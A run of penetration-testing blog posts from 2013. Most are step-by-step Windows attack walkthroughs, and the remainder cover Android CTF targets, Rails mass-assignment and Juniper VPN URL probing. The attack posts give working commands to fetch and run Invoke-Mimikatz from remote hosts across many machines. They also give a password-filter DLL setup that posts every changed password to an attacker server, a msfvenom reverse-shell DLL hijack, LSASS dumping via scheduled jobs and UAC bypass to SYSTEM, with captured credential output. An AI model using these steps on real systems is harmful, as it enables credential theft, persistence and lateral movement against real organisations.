Friday, October 4, 2013

AD Zone Transfers as a user

The tired and true method for Zone Transfers are using either nslookup:
nslookup
ls -d domain.com.local
Or dig:
dig -t AXFR domain.com.local @ns1.domain.com.local
In the Windows Enterprise world there are a few more options. If you are a DNS Admin you can use the 'dnscmd' command like so:
dnscmd /EnumZones
dnscmd /ZonePrint domain.com.local
Which is handy if you can pop the DNS server (usually the Domain Controller so you usually have better things to do at that point).

You can also use PowerShell:

PS C:\Users\jdoe> get-wmiobject -ComputerName dc1 -Namespace root\microsoftDNS -Class MicrosoftDNS_ResourceRecord -Filter "domainname='projectmentor.net'" | select textrepresentation
Again, this requires you to be a very high privileged account, which is no fun. I need these computer lists as part of my internal / post-exploitation recon, not an end step.

For the longest time I relied on a very awesome tool called "Adfind":
adfind -sc computers_active -csv -nodn -nocsvq -nocsvheader
This command will output a list of computer accounts that have been active in the last 90 days in a straight line by line format (hence all of the no "this"and no "that" flags)

But that wasn't good enough, this image kept haunting me:


It's Active Directory Explorer by SysInternals. It shows the complete list of DNS records, stored as objects in Active Directory that I was able to get to as a basic domain user. This means all of the static DNS records for the unix systems and mainframes and other systems outside of the purely Windows world are there as well.

I spent 4 days attempting to write my own script, ldap query, prayer to  get all of the data out but was unsuccessful. On the 5th day I happened upon a very short post saying "I did it", as I probably would have written the same. It comes in the form of a PowerShell script that you can find here:

Code: https://github.com/mmessano/PowerShell/blob/master/dns-dump.ps1

And is very easy to run:
PS C:\Users\jdoe> dns-dump.ps1 -zone projectmentor.net -dc dc1

or
C:\> powershell -ep bypass -f dnsdump.ps1 -zone projectmentor.net -dc dc1
If you put a -csv on the end of those the author has even given you the CSV format which makes the output extremely easy to parse. Now you can throw your list into your tool of choice instead of scanning random IP ranges on the targets network for important stuff you can scan directly against known good hosts.

-- mubix

P.S. Yes I realize this isn't actually "Zone Transfer"s but its close enough 

Dumping a domain's worth of passwords with mimikatz


clymb3r recently posted a script called "Invoke-Mimikatz.ps1" basically what this does is reflectively injects mimikatz into memory, calls for all the logonPasswords and exits. It even checks the targets architecture (x86/x64) first and injects the correct DLL.

You can very easily use this script directly from an admin command prompt as so:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
(This works REALLY well for Citrix and Kiosk scenarios and it's too hard to type/remember)
This runs the powershell script by directly pulling it from Github and executing it "in memory" on your system. 

One of the awesome added capabilities for this script is to run on a list of hosts. as so:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds -ComputerName @('computer1', 'computer2')"
This works great as all the output is directly on your system and all executed through Powershell Remoting. Powershell Remoting is pretty much the same as WinRM. This service however is not enabled by default and can be pretty hit or miss on how much any given enterprise uses WinRM. However, it is usually the servers and more important systems that have it enabled more often than not.

You can find WinRM / PowerShell Remoting by scanning for the service port 47001 as well as the default comm ports for WinRM 5985 (HTTP) and 5986 (HTTPS).

If you find that your target isn't a WinRM rich environment or you just want more passwords you can take a slightly more painful route, I call it "Mass Mimikatz"

Step 1. Make a share, we are doing this so we can not only collect the output of all our computers passwords, but to host the CMD batch file that will run the powershell script:
cd\
mkdir open
net share open=C:\open /grant:everyone,full
icacls C:\open\ /grant Everyone:(OI)(CI)F /t
We are setting "Everyone" permissions on a Share (net share) and NTFS (icacls) level for this to work properly.

Step 2. Set registry keys. There are two registry keys that we need to set. The first allows Null Sessions to our new share and the second allows null users to have the "Everyone" token so that we don't have to get crazy with our permissions. I have create a meterpreter script that has a bunch of error checking here: massmimi_reg.rb
or you can just make the following changes"
HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ  = open
HKLM\System\CurrentControlSet\Contol\Lsa "EveryoneIncludesAnonymous" = 1
Step 3. Change directory into new "open" directory. This is so our uploads and in particular our web server will be hosted out of the correct directory.

Step 4. Upload powershell script powermeup.cmd - this script will run our hosted Invoke-Mimikatz script on each host:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.127:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.127\open\%COMPUTERNAME%.txt 2>&1
Step 5. Upload clymb3r's Invoke-Mimikatz ps1 - Download from PowerSploit repo: source on github

Step 6. Upload mongoose: Downloads Page - Both regular and tiny versions work. This is an awesome, single executable webserver that supports LUA, Sqlite, and WebDAV out of the box. Tiny version is under 100k.

Step 7. Upload serverlist.txt - This is a line by line list of computer names to use mimikatz on. You'll have to gather this one way or another.

Step 8. Execute mongoose (from directory with mimikatz.ps1) - This will start a listener with directory listings enabled on port 8080 by default

Step 9a. Execute wmic:
wmic /node:@serverlist.txt process call create "\\192.168.92.127\open\powershellme.cmd"
Step 9b. Execute wmic with creds:
wmic /node:@serverlist.txt /user:PROJECTMENTOR\jdoe /password:ASDqwe123 process call create "\\192.168.92.127\open\powershellme.cmd"
Step 10. Watch as text files full of wonder and joy fill your share.
Don't forget to clean up::

Step 1. kill mongoose process
Step 2. net share open /delete
Step 3. kill/reset registry values
Step 4. delete "open" directory

Got a better way of getting this done? Please leave a comment.

P.S. You could just enable Powershell Remoting for them ;)
psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"
--mubix

I got passwords from here,here,here,here, EVERYWHERE!

Wednesday, September 11, 2013

Stealing passwords every time they change

Password Filters [0] are a way for organizations and governments to enforce stricter password requirements on Windows Accounts than those available by default in Active Directory Group Policy.  It is also fairly documented on how to Install and Register Password Filters [1]. Basically what it boils down to is updating a registry key here: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages

with the name of a DLL (without the extension) that you place in Windows\System32\

For National CCDC earlier this year (2013), I created an installer and "evil pass filter" that basically installed itself as a password filter and any time any passwords changed it would store the change to a log file locally to the victim (in clear text) as well as issue an HTTP basic auth POST to a server I own with the username and password.

The full code can be found below. I'll leave the compiling up to you but basically its slamming the code in Visual Studio, telling it its a DLL, and clicking build for the architecture you are targeting (Make sure to use the Internet Open access settings that make the most sense for the environment you are using this in [2]).

So lets walk the exploitation:

First, you have to be admin or system, as this is more of a persistence method than anything.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Next, we upload the evilpassfilter.dll to Sytem32:
meterpreter > pwd
C:\Windows\system32
meterpreter > upload /tmp/evilpassfilter.dll .
[*] uploading  : /tmp/evilpassfilter.dll -> .
[*] uploaded   : /tmp/evilpassfilter.dll -> .\evilpassfilter.dll
Then we need to query what is already in the notification packages list:
meterpreter > reg queryval -k HKLM\\System\\CurrentControlSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Type:
Data: sceclirassfm
What you can't see here since Metasploit isn't showing the line breaks is that there are two there by default:
scecli
rassfm
We need to add ours to the end of this list, unfortunately at the current point of time its impossible to do directly from the meterpreter command line (as far as I know). So we need to drop a .reg file and manually import it. Easiest way to do that is to add your "evilpassfilter" string as well as the ones on the victim to a VM you have and export it. Should look like this:

Once we have our file, we upload and import it using reg command:
meterpreter > upload importme.reg .
[*] uploading  : importme.reg -> .
[*] uploaded   : importme.reg -> .\importme.reg
meterpreter > execute -H -f regedit.exe -a '/s importme.reg'
Process 2628 created.
meterpreter > 
Double check our work:
meterpreter > reg queryval -k HKLM\\System\\CurrentcontrolSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Type:
Data: sceclirnrassfmrnevilpassfilter 
Its there, w00t! But it doesn't do anything until a reboot happens :(. Lets just force that to happen (not the most stealthy thing to do):
meterpreter > reboot
Rebooting...
While thats going on, lets set up the server to catch the basic auth.

msf exploit(psexec) > use auxiliary/server/capture/http_basic
msf auxiliary(http_basic) > set URIPATH /
URIPATH => /
msf auxiliary(http_basic) > run
[*] Auxiliary module execution completed
msf auxiliary(http_basic) >
[*] Listening on 0.0.0.0:80...
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.92.106:80/
[*] Server started.
msf auxiliary(http_basic) > 
Then we wait for a password to be changed:
msf auxiliary(http_basic) >
[*] 192.168.92.106   http_basic - Sending 401 to client
[+] 192.168.92.106 - Credential collected: "jack:ASDqwe123" => /
No matter how complex their password is and without having a shell on the box anymore:
msf auxiliary(http_basic) >
[+] 192.168.92.106 - Credential collected: "jack:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p" => /
This works from Windows 2000, XP all the way up to Windows 8 & 2012.

Ok, but how often are local password changed? Maybe not that often, but guess what happens when a password filter is put on a domain controller. Every password changed by that DC is "verified" by your evil password filter.

Oh and what does that log file we talked about earlier on the victim look like if for some reason they block that IP you're getting your authentication to? (You would have to find a way to get back on that system, or make it available via a share or otherwise)
InitializeChangeNotify()
JackJohnson:ASDqwe123
JackJohnson:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p
This attack supports a larger character set than most banks ;-)

[0] http://msdn.microsoft.com/en-us/library/windows/desktop/ms721882(v=vs.85).aspx
[1] http://msdn.microsoft.com/en-us/library/windows/desktop/ms721766(v=vs.85).aspx
[2] http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx
Full code:

Tuesday, September 10, 2013

Changing proxychains' "hardcoded" DNS server

If you've ever used proxychains to push things through Meterpreter, one of the most annoying things is its "hardcoded" DNS setting for 4.2.2.2, if the org that you are going after doesn't allow this out of their network, or if you are trying to resolve an internal asset, you're SOL. After a ton of googling and annoyed head slams into walls every time I forget where this is I've finally decided to make a note of it.

There isn't much magic here other than knowing that this file exists, but /bin/proxyresolv is a bash script that calls "dig" using TCP and the DNS server specified so it goes through the proxychains. Here is what it looks like:
(on Kali linux its found here: /usr/lib/proxychains3/proxyresolv)

#!/bin/sh
# This script is called by proxychains to resolve DNS names
# DNS server used to resolve names
DNS_SERVER=4.2.2.2

if [ $# = 0 ] ; then
echo " usage:"
echo " proxyresolv <hostname> "
exit
fi

export LD_PRELOAD=libproxychains.so.3
dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'

Now you could just make the dig request yourself through proxychains then throw whatever you originally attended directly at an IP, or you can make the DNS_SERVER change and hardcode your engagement's internal IP, up to you, but now its documented and I'll never have to go searching like crazy again... as long as I remember that its on someone else's blog.

Wednesday, September 4, 2013

Finding Executable Hijacking Opportunities

Background



DLL Hijacking is nothing new and there are a number of ways to find the issue, but the best way I have found is a bit more forceful method using a network share. First we need a network share that we can 1. monitor every request failed or not, and 2. allow ANYONE to access that share because if there is a problem with a service that runs as SYSTEM its not going to have credentials to authenticate against a share with more constrained permissions.

Step 1: Set up Samba w/ guest access



In /etc/samba/smb.conf add these two shares. (You need to also create the directories in /tmp)
[share32]
comment = Shares
browseable = yes
path = /tmp/share32
guest ok = yes
create mask = 0777
read only = no

[share64]
comment = Shares
browseable = yes
path = /tmp/share64
guest ok = yes
create mask = 0777
read only = no

root@wpad:/tmp/share32/ # service samba restart
[ ok ] Stopping Samba daemons: nmbd smbd.
[ ok ] Starting Samba daemons: nmbd smbd.
Cool, we have a share. Next we need to override the PATH variable in our victim machine:


Step 2: Set PATH to share IP

The PATH environmental variable is what controls where things are "looked" for when being called if and when someone or some part of the OS attempts to run something without its full path. For example, you probably don't type C:\Windows\System32\calc.exe every time you want calc to pop up (ok, bad example since you probably just double click the shortcut, but you get the idea). Same on Linux actually as well, if someone types 'ls' the system does a quick check in all of the PATH directories for the 'ls' binary, stopping at the first instance it finds it. So below in the screen shot you can see me adding our share to the very beginning of the PATH variable using the ';' semicolon as a delimiter:



Step 3: Use wireshark (smb) mask to find STATUS_OBJECT_NAME_NOT_FOUND messages

Now we need to find a way to monitor the requests that are going to happen. I initially tried using just standard Samba logging turned all the way up to level 5. The problem was parsing and turn around. I found it easier to use wireshark



The screen shot shows how you can add the "File name" in the response and request packets to a column to make it easier to scroll through as the requests go by.

On a Windows 7 machine I have as a VM, when I reboot I get “oci.dll” as one of the DLLs that get requested:


Step 4: Generate payload

./msfvenom -p windows/meterpreter/reverse_tcp -f dll LHOST=192.168.92.123 LPORT=4444 > /tmp/share32/bob.dll

Step 5: Toss in the DLL with the right name.

cd /tmp/share32/
mv bob.dll oci.dll

Step 6: Get shell


System reboots..

Step 7: Next Steps

Ok, but that requires a reboot. What other hijacking can I do? Start some programs, services, open file types and just watch what is attempted to be loaded. If you see an EXE or DLL being requested to the share, rename your evil bin, and repeat whatever you did to cause the request.

This can result in persistence methods or sometimes privilege escalation, but be sure to test as much as possible, because if you override the loading of a critical DLL or executable, you may cause service disruption (anywhere from just a popup about a crash to a complete stall of the system).


Update: Eric G on Google+ mentioned that Mandiant has a post about what oci.dll is and how it was used in malware: https://www.mandiant.com/blog/hikit-rootkit-advanced-persistent-attack-techniques-part-1-2/

Wednesday, August 28, 2013

Want to break some Android apps?

1st off, Hi. I'm @jhaddix the newest guy on this blog...

Android App testing requires some diverse skills depending on what you're trying to accomplish. Some app testing is like forensics, there's a ton of server side stuff with web services, and there's also times when you need to show failings in programmatic protections or features which requires reversing, debugging, or patching skills.

To develop these skills you need some practice targets. Here's a list of all known Android security challenges, both app level vulns and crackme-type (RE/patching):

In some cases the write-up and challenge starter info is included, in other cases you might have to Google around as some of these CTF's are old.

** Should you need some help with configuring an Android pentest / Crackme environment, cktricky  and CG have already written some pieces on that: http://carnal0wnage.attackresearch.com/search?q=android **

Hacme Bank Android - Foundstone 
http://www.mcafee.com/us/downloads/free-tools/hacme-bank-android.aspx 

ExploitMe Android - Security Compass 
http://securitycompass.github.io/AndroidLabs/ 

InSecure Bank - Paladion 
http://www.paladion.net/downloadapp.html 

GoatDroid - OWASP and Nvisium Security
https://github.com/jackMannino/OWASP-GoatDroid-Project

IG Learner - Intrepidus Group 
https://play.google.com/store/apps/details?id=com.intrepidusgroup.learner 

Evil Planner Bsides Challenge and Mercury vulnerable test app - MWR Labs
https://labs.mwrinfosecurity.com/blog/2013/03/11/bsides-challenge/
https://labs.mwrinfosecurity.com/blog/2013/03/28/announcing-mercury-v2-2/

MoshZuk.apk 
Description - http://imthezuk.blogspot.com/2011/07/creating-vulnerable-android-application.html 
File - https://dl.dropboxusercontent.com/u/37776965/Work/MoshZuk.apk

Crackme.de’s and deurus's Android Crackmes 1-4 ++
http://crackmes.de/users/deurus/android_crackme01/ 
http://crackmes.de/users/deurus/android_crackme02/ 
http://crackmes.de/users/deurus/android_crackme03/ 
http://crackmes.de/users/deurus/android_crackme04/ 
http://crackmes.de/users/pnluck/android_signme/ 

Hackplayers.com Crackmes (in Spanish so an extra challenge) 
http://www.hackplayers.com/2010/12/reto-android-crackme1.html 
http://www.hackplayers.com/2011/12/reto-14-android-crackme2.html 

Nuit du Hack's 2k12 & 2k11 (pre-quals and finals) Android Crackme’s 
http://blog.w3challs.com/index.php?post/2012/07/02/NDH2k12-wargame-CrackMe-Android
http://blog.spiderboy.fr/tag/crackme/ 

Hack.Lu's CTF 2011 Reverse Engineering 300
http://shell-storm.org/repo/CTF/Hacklu-2011/Reversing/Space%20Station%200xB321054A%20(300)/

Androidcracking.blogspot.com's Crackme’s 
http://androidcracking.blogspot.com/2012/01/way-of-android-cracker-0-rewrite.html
http://androidcracking.blogspot.com/2010/10/way-of-android-cracker-1.html 

BlueBox Android Challenge 
http://bluebox.com/labs/android-security-challenge/

InsomniDroid 
Description - http://www.strazzere.com/blog/2012/03/488/ 
Partial Walkthrough - http://www.fortiguard.com/files/insomnichallenge.pdf 
(File) http://www.strazzere.com/crackmes/insomnidroid.apk

CSAW2011 CTF Android Challenges
Android 1 file - http://shell-storm.org/repo/CTF/CSAW-2011/Forensics/Android1%20-%20200%20Points/CSAW2011CTF.apk
Android 2 file - http://shell-storm.org/repo/CTF/CSAW-2011/Forensics/Android2%20-%20400%20Points/CSAW2011CTF.apk

Defcon 19 Quals b300 dex challenge
http://shell-storm.org/repo/CTF/Defcon-19-quals/Binary_L33tness/b300/b300_b258110ad2d6100c4b8

GreHack 2012 CTF Reverse Engineering 100
http://repo.shell-storm.org/CTF/GreHack-2012/reverse_engineering/100-GrehAndroidMe.apk/

Nullcon HackIM CTF 2012 RE 300
http://www.nullcon.net/challenge/data/Null%20Mobile.apk

C0C0N CTF 2011 RE level 100
http://www.nullcon.net/challenge/c0c0n/data/cocon_apk.zip

Atast CTF 2012 Bin 300
http://andromedactf.wordpress.com/2013/01/02/atast-ctf-2012-bin300chall5/

SecuInside 2011 CTF Level 7 (level 3 is also android but i am unable to find the bin)
Witeup - http://codeengn.com/archive/Reverse%20Engineering/Solution%20-%20CTF/2011%20SECUINSIDE%20CTF%20Write-up%20%5BCMU%5D.pdf
File - http://big-daddy.fr/repository/CTF2011/SecuInside-CTF/Q7/WonderfulWidget.apk

Happy hacking! Don't hesitate to leave a comment on any other Android challenges you find =)

Wednesday, July 31, 2013

Mimikatz Minidump and mimikatz via bat file

I tweeted about this blog post a few weeks ago and got to use it on a PT, so its no secret...

also mubix beat me to this post, but i'm posting it here for my notes keeping purposes

First, check out this post by the mimikatz author.  Now, one of the twitter comments I received was: "duh anyone can right click and dump process memory to a file". Unfortunately i'm rarely sitting with a GUI and can just "right click" but i do usually have the ability to "net use" and create scheduled tasks.  The cool thing about AT jobs and scheduled tasks is that if you run them as "admin" they really get run as SYSTEM, so you can do neat stuff like dump lsass memory or get SYSTEM shells when the job executes your binary.

So quickly how I've been doing it.

Once you have creds, you net use the remote box and copy over procdump.exe and procdump.bat

contents of procdump.bat


@echo off
C:\windows\temp\procdump.exe -accepteula -ma lsass.exe C:\windows\temp\somethingwindows.dmp 2>&1

then just create an "at" job to run it for you

at \\192.168.1.3 20:55 C:\windows\temp\procdump.bat


From there you'll have a dump file, copy it back from the remote host and use mimikatz alpha to retrieve the creds from the dump file:  from the mimikatz blog post:


mimikatz # sekurlsa::minidump lsass.dmp
Switch to minidump

mimikatz # sekurlsa::logonPasswords

Authentication Id: 0; 141237
User Name: sekur_000
Domain: WINDOWS-8
        msv:
         * Username: sekurlsa@live.fr
         * Domain: MicrosoftAccount
         * LM: d0e9aee149655a6075e4540af1f22d3b
         * NTLM: cc36cf7a8514893efccd332446158b1a
        tspkg:
         * Username: sekurlsa@live.fr
         * Domain: MicrosoftAccount
         * Password: waza1234 /
        WDigest:
         * Username: sekurlsa@live.fr
         * Domain: MicrosoftAccount
         * Password: waza1234 /
        livessp:
         * Username: sekurlsa@live.fr
         * Domain: ps: password
         * Password: waza1234 /
        kerberos:
        ssp:

Why not just push up mimikatz?  Well, mimikatz you download is now tagged by AV, so you can compile you own and get around that, white listing tools should prevent mimikatz from running but will probably allow sysinternals tools or powershell,  but mostly this method make it so you don't need a meterpreter sessions or other type of interactive shell on the remote host. run bat file, get your dump file, and get creds offline.

------

if for some reason you want to run mimikatz via a bat file you can use the following commands

type schtask.bat

C:\temp\mimikatz64.exe "sekurlsa::logonPasswords full" exit >> C:\temp\mimi.txt

then you can run it with an at job.

-CG

Monday, July 29, 2013

admin to SYSTEM win7 with remote.exe

So i ran across this little gem from 2008!

http://blogs.technet.com/b/askds/archive/2008/10/22/getting-a-cmd-prompt-as-system-in-windows-vista-and-windows-server-2008.aspx

I ended up using Method 2 on a recent test. The post above calls for needing an elevated command shell so you can call "at".  This is easy if you are legitimately sitting in front of the box but if you pentesting, potentially harder.

Three scenarios:

  • user is regular user and cant UAC to let you run admin commands
  • user is local admin and UAC disabled.
  • user is local admin buy you have to bypass UAC


easiest way sitting on a command shell is probably just to type "at"\

ohh man, denied :-(








yay!








Scenario 1, your screwed, gonna have to solve the not admin problem first.


anger!













Scenario 2, no UAC...just follow the linked blog post. Get a copy of remote.exe either x86 or x64 whatever architecture the system you want to run it on is and do the following command:

AT #TIME_TO_RUN c:\pathto\remote.exe /s cmd SYSCMD

once it runs, connect to the debugger you started (with SYSTEM privs)

C:\path\REMOTE.EXE /c SYSTEM_NAME SYSCMD

you should see something like this:

C:\pathto\>remotex64.exe /c WPAD SYSCMD
**************************************
***********     REMOTE    ************
***********     CLIENT    ************
**************************************
Connected...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
**Remote: Connected to WPAD CG [Fri 4:23 PM]


C:\Windows\system32>whoami
whoami
nt authority\system

weeeeeeeeeeeeeeeeeeee!





















Scenario 3, you can use bypassuac to get around our UAC issues.

get bypassuac on your system, then run it like so

C:\pathto\>at
Access is denied.

C:\pathto\>bypassuac.exe
Too few arguments
Incorrect input. Please find samples below.
Note, 'elevate stuff' will be executed in the elevated shell as 'cmd.exe stuff'

        elevate /c
        elevate /c [arg1] [arg2] .. [argn]
        elevate --pid 1234 /c [arg1] [arg2] .. [argn]
        elevate /c c:\path\foo.exe [arg1] [arg2] .. [argn]
        elevate --pid 1234 /c c:\path\foo.exe [arg1] [arg2] .. [argn]

C:\pathto\>bypassuac.exe /c at 16:32 C:\pathtop\remotex64.exe /s cmd SYSCMD
Added a new job with job ID = 31

C:\pathto\>at
Access is denied.

dont worry,  it worked :-)

C:\pathto\>remotex64.exe /c WPAD SYSCMD
**************************************
***********     REMOTE    ************
***********     CLIENT    ************
**************************************
Connected...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
**Remote: Connected to WPAD CG [Fri 4:32 PM]


C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>



Friday, May 31, 2013

Rails Strong Parameters


     It is well known in the Rails world, how big of an issue mass-assignment is. It is the vulnerability that led to the hack of Github last year. Normal interactions with an ActiveRecord model can lead to mass-assignment. A hacker can abuse an Model.new or Model.update_attributes, etc to change more attributes than expected by the developer. The most obvious example is a column that defines a user's role. If an attacker is able to mass-assign this value they could make themselves an admin. More information about mass-assignment is in a RailsCast linked below.

Creating a user without using mass-assignment.


An example of a mass-assignable create action.





















In Rails 2 and 3 to protect against mass-assignment you would set attr_accessible on your model. This would allow you to specify which attributes of a model could be mass-assigned.


Example model with attr_accessible set.








The example above will prevent mass-assignment of all attributes except for the name attribute. Hackers can no longer mass-assign themselves as admins! When used correctly, this solution has done a good job of protecting Rails applications from mass-assignment. While attr_accessible has proved to be a good solution to the issue but it's not as flexible as developers would like it to be. There are times when you want to update all attributes of a model, like when an admin is updating a user's record. In those cases, developers would have to do funky things with :as admin and pass additional parameters to ActiveRecord calls.

Complex models with varying authorizations would become hard to maintain. To address this and other issues David Heinemeier Hansson (@dhh) created strong_parameters. Strong_parameters tries to address the issue of mass-assignment in the controller instead of the model. Strong_parameters is available as a gem for Rails 2 & 3 but will be the default protection in Rails 4.


Creating user with strong_parameters enabled.










Now with strong_parameters instead of defining attr_accessible on the model you use the .permit during a call to an ActiveRecord call. As shown in the example above, we're permitting the assignment of name and admin (a boolean column). This protection is enabled on ActionController::Params. Many developers prefer this type of control to be in the controller and it reduces the complexity of the model. RailsCasts has a great pro episode that covers how to use strong_parameters.

The issue with strong_parameters is where this protection is enforced. Only ActionController::Params are protected with strong_parameters. Any user parameters that come through a controller will have this protection enforce. The security concern is when data comes from users and does not go through a controller and enters a model mass-assignment is possible. Any user parameters outside of a controller that are introduced to the model can be used to mass-assign.










In the example above a controller action is accepting user params in JSON format, parsing them and then using them in a call to User.new. The example above could be in a controller action used as an API endpoint that accepts parameters in JSON format. The issue is that when we parse the parameters we lose the protection of strong_parameters. We no longer need to call .permit on them to use them in a model and are now vulnerable to mass-assignment. Another example that could lead to mass-assignment is a file upload feature. A user provided CSV file could mass-assign attributes if the values aren't dealt with carefully.

Possible Protections

The most obvious choice to protect your application from mass-assignment when using strong_parameters is to wrap all user data in ActionController::Parameters before use in any models. While this is very easy to do, it makes the developer responsible for remembering to do this on every use of parameters. This could be easily forgotten in the heat of a quick patch. Other options for protecting against mass-assignment outside of controllers is strict parsing of incoming data. For instance calling .slice on a hash and selecting only the data you need. This again puts the onus on the developer to handle user data carefully.

Rails 4 and strong_parameters help developers create more tightly defined authorization rules for interacting with models but at the cost of some security. We can no longer rely on ActiveRecord to defend us against mass-assignment and must be very aware of what data is passed to models. While this is a step forward for usability, it seems like a step backwards for security.


Thanks to Brendon Murphy for bringing this issue to light.





Thursday, May 23, 2013

Funky Juniper URLs

If you've ever tested any clients that have Juniper VPNs you've probable seen the ol: 

http://[target]/dana-na/auth/url_default/welcome.cgi URL.

@infosecmafia and I mentioned in our DerbyCon talk on how you can sometimes find extra or test URLs that are also valid URLs for the Juniper VPN. The example we used was where the url_default required secret questions but url_8 or whatever did not because it was a test URL the admins had set up.

Soooooooo, its worth running a quick check if you come across one. I wrote a  Metasploit auxiliary module to do this. Pretty simple, it just runs thru url_0 through url_100 and prints out the 200 replies. looks like so:

–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_0/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_1/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_2/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_3/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_4/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_5/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_6/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_8/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_9/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_12/welcome.cgi

Seeing these doesn't ALWAYS mean you have a multi-factor bypass but its worth checking out if the main site is multi-factor.

Random example:
url_default

url_3

url_8

url_10


Available on my github repo until I get around to doing a pull request.

-CG